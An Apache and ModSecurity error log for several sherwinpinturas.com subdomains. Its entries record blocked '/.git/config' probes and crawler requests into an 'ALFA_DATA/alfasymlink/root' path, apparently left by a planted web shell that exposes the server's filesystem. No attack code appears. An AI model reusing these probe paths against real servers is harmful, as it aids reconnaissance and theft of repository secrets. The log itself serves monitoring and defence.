[Sat Oct 24 06:20:06.143990 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.94.40.182:42936] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:20:09.538578 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 85.208.96.210:48066] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/poison
[Sat Oct 24 06:20:10.336995 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.196.6.199:52521] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:20:27.882148 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 85.208.96.203:13090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/reclaim_account
[Sat Oct 24 06:20:34.187224 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 18.208.11.93:30770] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:20:54.400874 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 100.29.155.89:42687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:20:57.007031 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.206:24690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/slab_size
[Sat Oct 24 06:21:10.265298 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 35.174.141.243:17832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:21:23.094548 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.196.237.236:27572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:21:38.305102 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.217.171.106:61972] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:21:39.296895 2026] [security2:error] [pid 2607243:tid 2607243] [client 195.178.110.247:10084] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGs1GNStwISql-V9e83AAAAAs"]
[Sat Oct 24 06:21:39.297065 2026] [security2:error] [pid 2607243:tid 2607243] [client 195.178.110.247:10084] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGs1GNStwISql-V9e83AAAAAs"]
[Sat Oct 24 06:21:39.297940 2026] [security2:error] [pid 2607243:tid 2607243] [client 195.178.110.247:10084] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atyGs1GNStwISql-V9e83AAAAAs"]
[Sat Oct 24 06:21:39.385602 2026] [security2:error] [pid 2607843:tid 2607843] [client 195.178.110.247:10096] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGswSwRuPA-FjBma7H-QAAAAI"]
[Sat Oct 24 06:21:39.385801 2026] [security2:error] [pid 2607843:tid 2607843] [client 195.178.110.247:10096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGswSwRuPA-FjBma7H-QAAAAI"]
[Sat Oct 24 06:21:39.386615 2026] [security2:error] [pid 2607843:tid 2607843] [client 195.178.110.247:10096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson3.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atyGswSwRuPA-FjBma7H-QAAAAI"]
[Sat Oct 24 06:21:39.535149 2026] [security2:error] [pid 2608810:tid 2608810] [client 195.178.110.247:17296] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGs6VWPMRLkHgZYZD56gAAABU"]
[Sat Oct 24 06:21:39.535304 2026] [security2:error] [pid 2608810:tid 2608810] [client 195.178.110.247:17296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGs6VWPMRLkHgZYZD56gAAABU"]
[Sat Oct 24 06:21:39.536033 2026] [security2:error] [pid 2608810:tid 2608810] [client 195.178.110.247:17296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson1.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atyGs6VWPMRLkHgZYZD56gAAABU"]
[Sat Oct 24 06:21:39.618938 2026] [security2:error] [pid 2607845:tid 2607845] [client 195.178.110.247:17308] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGs0ZmsT_-xVq3Bbq4kAAAAAU"]
[Sat Oct 24 06:21:39.619093 2026] [security2:error] [pid 2607845:tid 2607845] [client 195.178.110.247:17308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGs0ZmsT_-xVq3Bbq4kAAAAAU"]
[Sat Oct 24 06:21:39.619913 2026] [security2:error] [pid 2607845:tid 2607845] [client 195.178.110.247:17308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson3.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atyGs0ZmsT_-xVq3Bbq4kAAAAAU"]
[Sat Oct 24 06:21:40.251070 2026] [security2:error] [pid 2608811:tid 2608811] [client 195.178.110.247:10110] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGtA6rpxYYtVdDcXCnJAAAABg"]
[Sat Oct 24 06:21:40.251248 2026] [security2:error] [pid 2608811:tid 2608811] [client 195.178.110.247:10110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGtA6rpxYYtVdDcXCnJAAAABg"]
[Sat Oct 24 06:21:40.251971 2026] [security2:error] [pid 2608811:tid 2608811] [client 195.178.110.247:10110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atyGtA6rpxYYtVdDcXCnJAAAABg"]
[Sat Oct 24 06:21:40.489024 2026] [security2:error] [pid 2608731:tid 2608731] [client 195.178.110.247:17318] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGtPPD_keneTOG9Sbh7wAAAAg"]
[Sat Oct 24 06:21:40.489208 2026] [security2:error] [pid 2608731:tid 2608731] [client 195.178.110.247:17318] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyGtPPD_keneTOG9Sbh7wAAAAg"]
[Sat Oct 24 06:21:40.489910 2026] [security2:error] [pid 2608731:tid 2608731] [client 195.178.110.247:17318] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson2.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atyGtPPD_keneTOG9Sbh7wAAAAg"]
[Sat Oct 24 06:21:50.241922 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.215.210.112:19760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:21:54.252397 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.73.142.41:39107] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:21:58.071638 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 85.208.96.205:55424] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-1k/usersize
[Sat Oct 24 06:22:02.260984 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.204.12.115:21977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:22:10.300870 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 54.204.62.163:31727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/driver/cpu1/crash_notes_size
[Sat Oct 24 06:22:14.626182 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.197.82.195:24138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:22:14.626380 2026] [security2:error] [pid 2608731:tid 2608731] [client 54.197.82.195:24138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/PNP0C0F:00/uid"] [unique_id "atyG1vPD_keneTOG9Sbh8AAAAAg"]
[Sat Oct 24 06:22:14.626402 2026] [security2:error] [pid 2608731:tid 2608731] [client 54.197.82.195:24138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/PNP0C0F:00/uid"] [unique_id "atyG1vPD_keneTOG9Sbh8AAAAAg"]
[Sat Oct 24 06:22:18.427393 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.44.148.203:46681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:22:42.329275 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.226.106.93:55401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:22:46.274534 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.45.15.233:16237] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:22:54.435939 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 35.153.86.200:27623] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:22:54.436132 2026] [security2:error] [pid 2607243:tid 2607243] [client 35.153.86.200:27623] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory16/subsystem/devices/memory6/node0/memory13/phys_index"] [unique_id "atyG_lGNStwISql-V9e83wAAAAs"]
[Sat Oct 24 06:22:54.436153 2026] [security2:error] [pid 2607243:tid 2607243] [client 35.153.86.200:27623] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory16/subsystem/devices/memory6/node0/memory13/phys_index"] [unique_id "atyG_lGNStwISql-V9e83wAAAAs"]
[Sat Oct 24 06:23:06.448057 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.217.82.254:65142] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:23:18.410389 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.234.197.175:20758] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:23:22.267316 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 3.232.82.72:12405] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:12/eject
[Sat Oct 24 06:23:30.403725 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.20.178.124:42390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:23:42.408287 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.200.54.136:3109] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:23:47.821422 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 85.208.96.197:11470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:23:50.788500 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.212.131.50:35081] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:23:54.701141 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 100.28.57.133:9747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:14.280352 2026] [ssl:error] [pid 2608810:tid 2608810] (5)Input/output error: [client 54.87.62.248:6477] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:17.946776 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.11:53136] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/aliases
[Sat Oct 24 06:24:22.478827 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.215.49.176:11329] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:24.712935 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.8:64510] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/free_calls
[Sat Oct 24 06:24:26.384710 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.88.84.219:33180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:28.310454 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 85.208.96.209:31792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/nr_reclaimed_regions
[Sat Oct 24 06:24:38.694204 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.208.11.93:1226] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:42.426161 2026] [ssl:error] [pid 2603807:tid 2603807] (5)Input/output error: [client 98.84.60.17:15742] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:46.310752 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.229.164.203:5654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:54.316031 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.90.73.206:27297] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:24:58.493532 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 98.83.178.66:10867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/closing_wait
[Sat Oct 24 06:25:03.471051 2026] [ssl:error] [pid 2607843:tid 2607843] (5)Input/output error: [client 3.221.244.28:47304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:25:13.337581 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 71.6.242.56:61934] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 06:25:30.322760 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.209.35.147:61466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:25:34.430104 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 100.27.153.9:45026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:11/eject
[Sat Oct 24 06:25:42.440505 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.227.180.70:40332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:25:46.330011 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.232.102.111:51004] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:25:55.673698 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 107.20.25.33:48830] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:25:58.387832 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 34.193.2.57:43013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/alarmtimer/unbind
[Sat Oct 24 06:26:14.500772 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.220.148.166:52322] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:26:34.647685 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 100.28.118.16:39354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/exar_serial/bind
[Sat Oct 24 06:26:38.945086 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.226.106.93:29919] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:26:42.657592 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 184.73.68.20:35820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:26:50.455400 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.94.40.182:28801] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:26:54.400590 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 35.173.18.61:19358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:03.0/rom
[Sat Oct 24 06:26:58.386374 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.28.118.16:13458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:02.553174 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.213.102.186:23193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:06.728995 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 52.3.104.214:27075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory5/node0/memory8/subsystem/uevent
[Sat Oct 24 06:27:07.143202 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.211:26264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6-frags/poison
[Sat Oct 24 06:27:14.588237 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.93.211.16:56265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:26.447742 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.235.172.108:3651] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:38.587095 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.29.164.178:24932] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:27:39.089229 2026] [security2:error] [pid 2607843:tid 2607843] [client 34.67.43.170:31096] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyIGwSwRuPA-FjBma7IBwAAAAI"]
